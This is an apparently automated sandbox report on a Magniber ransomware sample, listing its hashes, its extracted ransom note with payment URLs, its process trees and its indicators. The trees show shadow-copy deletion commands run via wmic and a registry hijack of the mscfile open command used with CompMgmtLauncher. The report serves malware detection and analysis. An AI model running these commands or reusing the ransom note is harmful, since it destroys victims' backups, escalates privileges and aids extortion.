magniber | dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204

Analysis

max time kernel
145s
max time network
113s
platform
windows7_x64
resource
win7-en-20210920
submitted
29-09-2021 06:14

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General

Target

dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204.dll
Size

38KB
MD5

57cc3140477c915e6202e6b1d2f8bb7e
SHA1

69201178ee3bf8bc5b9f8212bb412c7f7a3aa3c0
SHA256

dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204
SHA512

47a0854b4640ba0d8ff69695a0f799af56362a801752a00ada96d1d876ab3f396d81be3ee511b36b2889f213656f2b126ea51077ca6e75cd630810dd20b6a91e

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://1230cad8425cf070bddihwvy.ypajgycpauisibmmq6en2xd6z6doiiwxitzhwbu2zmxfxwjcumvirbad.onion/ddihwvy Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://1230cad8425cf070bddihwvy.outwest.top/ddihwvy http://1230cad8425cf070bddihwvy.coldsum.space/ddihwvy http://1230cad8425cf070bddihwvy.datesat.site/ddihwvy http://1230cad8425cf070bddihwvy.outplea.xyz/ddihwvy Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://1230cad8425cf070bddihwvy.ypajgycpauisibmmq6en2xd6z6doiiwxitzhwbu2zmxfxwjcumvirbad.onion/ddihwvy

http://1230cad8425cf070bddihwvy.outwest.top/ddihwvy

http://1230cad8425cf070bddihwvy.coldsum.space/ddihwvy

http://1230cad8425cf070bddihwvy.datesat.site/ddihwvy

http://1230cad8425cf070bddihwvy.outplea.xyz/ddihwvy

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	996	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	756	656	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1336	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2104	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2124	656	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2492	656	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2484	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2836	656	cmd.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2828	656	vssadmin.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2996	656	vssadmin.exe	36

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ExitRestore.png => C:\Users\Admin\Pictures\ExitRestore.png.ddihwvy	Dwm.exe
File renamed	C:\Users\Admin\Pictures\InitializeMount.crw => C:\Users\Admin\Pictures\InitializeMount.crw.ddihwvy	Dwm.exe
File renamed	C:\Users\Admin\Pictures\InvokeGrant.raw => C:\Users\Admin\Pictures\InvokeGrant.raw.ddihwvy	Dwm.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2036 set thread context of 1224	2036	rundll32.exe	14
PID 2036 set thread context of 1328	2036	rundll32.exe	13
PID 2036 set thread context of 1356	2036	rundll32.exe	12

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2484	vssadmin.exe
2668	vssadmin.exe
2828	vssadmin.exe
2996	vssadmin.exe
996	vssadmin.exe
1336	vssadmin.exe
2104	vssadmin.exe
2296	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f45a3407a6eee4cb6062dddd85478a60000000002000000000010660000000100002000000043b3f0a9837e813fc9f323ff69087aea67ecf9c1d5fcb75e197fbc7d7ab8de5d000000000e8000000002000020000000848f76044873dda3d578e067018a4193ab63816b34ea8b76140ac6dd476d3358200000004a8be4772bcba81ac52a990ad1357d8ba2a48954d06beee54e2b9af5630626ca4000000044f60345683a80a3cc276e3b92763181f43e8f8a031a2500842aba7feecf7b776bd25799c2cffb76038b9775193f3c3bc9f51d4315b496c25f00010f8d1f9876	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "339661074"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f45a3407a6eee4cb6062dddd85478a60000000002000000000010660000000100002000000094fa853f0867ecc6278853a7e708e347ddcb6a57c8977564064c70ab4f13dc63000000000e8000000002000020000000ea37ffaac589c93e5ee0fe85a8e01151511bbf5450a2f47646ae1da4fb47f804900000002274a5dd39b68e9db11f4c3c568b8bcc2cc4204d4002e9000727abc25a95f362f5c0c92dfc81d73aab213db2fc7085d838037d5acce81da13a67b1e7d4240480abfa29407332dbe426c07736f33abd095ea5f399e805f0ef9e938cd41ddc03562666d41c3d1c63255bc6611f0f951d7a57f4925a4c277b65a88f1327f81a5f8dfc95fa4b3df5f23bc4f3405aee956cb240000000e8b9907a5ad68963d90c042d455cb6e70f0726ef1c182edfa3bcc4c4600dc5f07bc8300113a8d9efc7105672fcc43a7498ed1db74586324d68f971ed2997ca9b	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80121c6af9b4d701	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{91F12751-20EC-11EC-919C-4E559724C97D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
776	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2036	rundll32.exe
2036	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1356	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2036	rundll32.exe
2036	rundll32.exe
2036	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1356	Explorer.EXE
Token: SeShutdownPrivilege	1356	Explorer.EXE
Token: SeShutdownPrivilege	1356	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1012	wmic.exe
Token: SeSecurityPrivilege	1012	wmic.exe
Token: SeTakeOwnershipPrivilege	1012	wmic.exe
Token: SeLoadDriverPrivilege	1012	wmic.exe
Token: SeSystemProfilePrivilege	1012	wmic.exe
Token: SeSystemtimePrivilege	1012	wmic.exe
Token: SeProfSingleProcessPrivilege	1012	wmic.exe
Token: SeIncBasePriorityPrivilege	1012	wmic.exe
Token: SeCreatePagefilePrivilege	1012	wmic.exe
Token: SeBackupPrivilege	1012	wmic.exe
Token: SeRestorePrivilege	1012	wmic.exe
Token: SeShutdownPrivilege	1012	wmic.exe
Token: SeDebugPrivilege	1012	wmic.exe
Token: SeSystemEnvironmentPrivilege	1012	wmic.exe
Token: SeRemoteShutdownPrivilege	1012	wmic.exe
Token: SeUndockPrivilege	1012	wmic.exe
Token: SeManageVolumePrivilege	1012	wmic.exe
Token: 33	1012	wmic.exe
Token: 34	1012	wmic.exe
Token: 35	1012	wmic.exe
Token: SeShutdownPrivilege	1356	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1040	WMIC.exe
Token: SeSecurityPrivilege	1040	WMIC.exe
Token: SeTakeOwnershipPrivilege	1040	WMIC.exe
Token: SeLoadDriverPrivilege	1040	WMIC.exe
Token: SeSystemProfilePrivilege	1040	WMIC.exe
Token: SeSystemtimePrivilege	1040	WMIC.exe
Token: SeProfSingleProcessPrivilege	1040	WMIC.exe
Token: SeIncBasePriorityPrivilege	1040	WMIC.exe
Token: SeCreatePagefilePrivilege	1040	WMIC.exe
Token: SeBackupPrivilege	1040	WMIC.exe
Token: SeRestorePrivilege	1040	WMIC.exe
Token: SeShutdownPrivilege	1040	WMIC.exe
Token: SeDebugPrivilege	1040	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1040	WMIC.exe
Token: SeRemoteShutdownPrivilege	1040	WMIC.exe
Token: SeUndockPrivilege	1040	WMIC.exe
Token: SeManageVolumePrivilege	1040	WMIC.exe
Token: 33	1040	WMIC.exe
Token: 34	1040	WMIC.exe
Token: 35	1040	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1012	wmic.exe
Token: SeSecurityPrivilege	1012	wmic.exe
Token: SeTakeOwnershipPrivilege	1012	wmic.exe
Token: SeLoadDriverPrivilege	1012	wmic.exe
Token: SeSystemProfilePrivilege	1012	wmic.exe
Token: SeSystemtimePrivilege	1012	wmic.exe
Token: SeProfSingleProcessPrivilege	1012	wmic.exe
Token: SeIncBasePriorityPrivilege	1012	wmic.exe
Token: SeCreatePagefilePrivilege	1012	wmic.exe
Token: SeBackupPrivilege	1012	wmic.exe
Token: SeRestorePrivilege	1012	wmic.exe
Token: SeShutdownPrivilege	1012	wmic.exe
Token: SeDebugPrivilege	1012	wmic.exe
Token: SeSystemEnvironmentPrivilege	1012	wmic.exe
Token: SeRemoteShutdownPrivilege	1012	wmic.exe
Token: SeUndockPrivilege	1012	wmic.exe
Token: SeManageVolumePrivilege	1012	wmic.exe
Token: 33	1012	wmic.exe
Token: 34	1012	wmic.exe
Token: 35	1012	wmic.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1096	iexplore.exe
1356	Explorer.EXE
1356	Explorer.EXE

Suspicious use of SendNotifyMessage 8 IoCs

pid	Process
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE
1356	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1096	iexplore.exe
1096	iexplore.exe
644	IEXPLORE.EXE
644	IEXPLORE.EXE
644	IEXPLORE.EXE
644	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 776	1328	Dwm.exe	27
PID 1328 wrote to memory of 776	1328	Dwm.exe	27
PID 1328 wrote to memory of 776	1328	Dwm.exe	27
PID 1328 wrote to memory of 860	1328	Dwm.exe	28
PID 1328 wrote to memory of 860	1328	Dwm.exe	28
PID 1328 wrote to memory of 860	1328	Dwm.exe	28
PID 1328 wrote to memory of 1012	1328	Dwm.exe	29
PID 1328 wrote to memory of 1012	1328	Dwm.exe	29
PID 1328 wrote to memory of 1012	1328	Dwm.exe	29
PID 1328 wrote to memory of 1372	1328	Dwm.exe	32
PID 1328 wrote to memory of 1372	1328	Dwm.exe	32
PID 1328 wrote to memory of 1372	1328	Dwm.exe	32
PID 1372 wrote to memory of 1040	1372	cmd.exe	34
PID 1372 wrote to memory of 1040	1372	cmd.exe	34
PID 1372 wrote to memory of 1040	1372	cmd.exe	34
PID 860 wrote to memory of 1096	860	cmd.exe	35
PID 860 wrote to memory of 1096	860	cmd.exe	35
PID 860 wrote to memory of 1096	860	cmd.exe	35
PID 756 wrote to memory of 1764	756	cmd.exe	41
PID 756 wrote to memory of 1764	756	cmd.exe	41
PID 756 wrote to memory of 1764	756	cmd.exe	41
PID 1096 wrote to memory of 644	1096	iexplore.exe	46
PID 1096 wrote to memory of 644	1096	iexplore.exe	46
PID 1096 wrote to memory of 644	1096	iexplore.exe	46
PID 1096 wrote to memory of 644	1096	iexplore.exe	46
PID 1764 wrote to memory of 1012	1764	CompMgmtLauncher.exe	47
PID 1764 wrote to memory of 1012	1764	CompMgmtLauncher.exe	47
PID 1764 wrote to memory of 1012	1764	CompMgmtLauncher.exe	47
PID 1224 wrote to memory of 820	1224	taskhost.exe	51
PID 1224 wrote to memory of 820	1224	taskhost.exe	51
PID 1224 wrote to memory of 820	1224	taskhost.exe	51
PID 1224 wrote to memory of 888	1224	taskhost.exe	54
PID 1224 wrote to memory of 888	1224	taskhost.exe	54
PID 1224 wrote to memory of 888	1224	taskhost.exe	54
PID 888 wrote to memory of 1492	888	cmd.exe	56
PID 888 wrote to memory of 1492	888	cmd.exe	56
PID 888 wrote to memory of 1492	888	cmd.exe	56
PID 2124 wrote to memory of 2188	2124	cmd.exe	61
PID 2124 wrote to memory of 2188	2124	cmd.exe	61
PID 2124 wrote to memory of 2188	2124	cmd.exe	61
PID 2188 wrote to memory of 2240	2188	CompMgmtLauncher.exe	62
PID 2188 wrote to memory of 2240	2188	CompMgmtLauncher.exe	62
PID 2188 wrote to memory of 2240	2188	CompMgmtLauncher.exe	62
PID 1356 wrote to memory of 2376	1356	Explorer.EXE	66
PID 1356 wrote to memory of 2376	1356	Explorer.EXE	66
PID 1356 wrote to memory of 2376	1356	Explorer.EXE	66
PID 1356 wrote to memory of 2388	1356	Explorer.EXE	67
PID 1356 wrote to memory of 2388	1356	Explorer.EXE	67
PID 1356 wrote to memory of 2388	1356	Explorer.EXE	67
PID 2388 wrote to memory of 2436	2388	cmd.exe	70
PID 2388 wrote to memory of 2436	2388	cmd.exe	70
PID 2388 wrote to memory of 2436	2388	cmd.exe	70
PID 2492 wrote to memory of 2548	2492	cmd.exe	75
PID 2492 wrote to memory of 2548	2492	cmd.exe	75
PID 2492 wrote to memory of 2548	2492	cmd.exe	75
PID 2548 wrote to memory of 2600	2548	CompMgmtLauncher.exe	76
PID 2548 wrote to memory of 2600	2548	CompMgmtLauncher.exe	76
PID 2548 wrote to memory of 2600	2548	CompMgmtLauncher.exe	76
PID 2036 wrote to memory of 2716	2036	rundll32.exe	80
PID 2036 wrote to memory of 2716	2036	rundll32.exe	80
PID 2036 wrote to memory of 2716	2036	rundll32.exe	80
PID 2036 wrote to memory of 2728	2036	rundll32.exe	81
PID 2036 wrote to memory of 2728	2036	rundll32.exe	81
PID 2036 wrote to memory of 2728	2036	rundll32.exe	81

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc7be5c75c746cd6e0660711d3fb8bc8753d760ece99c00f222fe21d9ddd4204.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2716
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:2728
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:2776
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2376
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2436

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:776
- C:\Windows\system32\cmd.exe
  cmd /c "start http://1230cad8425cf070bddihwvy.outwest.top/ddihwvy^&1^&42397824^&64^&297^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://1230cad8425cf070bddihwvy.outwest.top/ddihwvy&1&42397824&64&297&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1096 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:644
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1012
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1372
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1040

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:820
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1492

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:996

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:756
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1012

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1724

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1336

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2104

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2240

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2296

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2600

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2484

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2668

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2836
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2900
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2944

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2828

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2996

Network

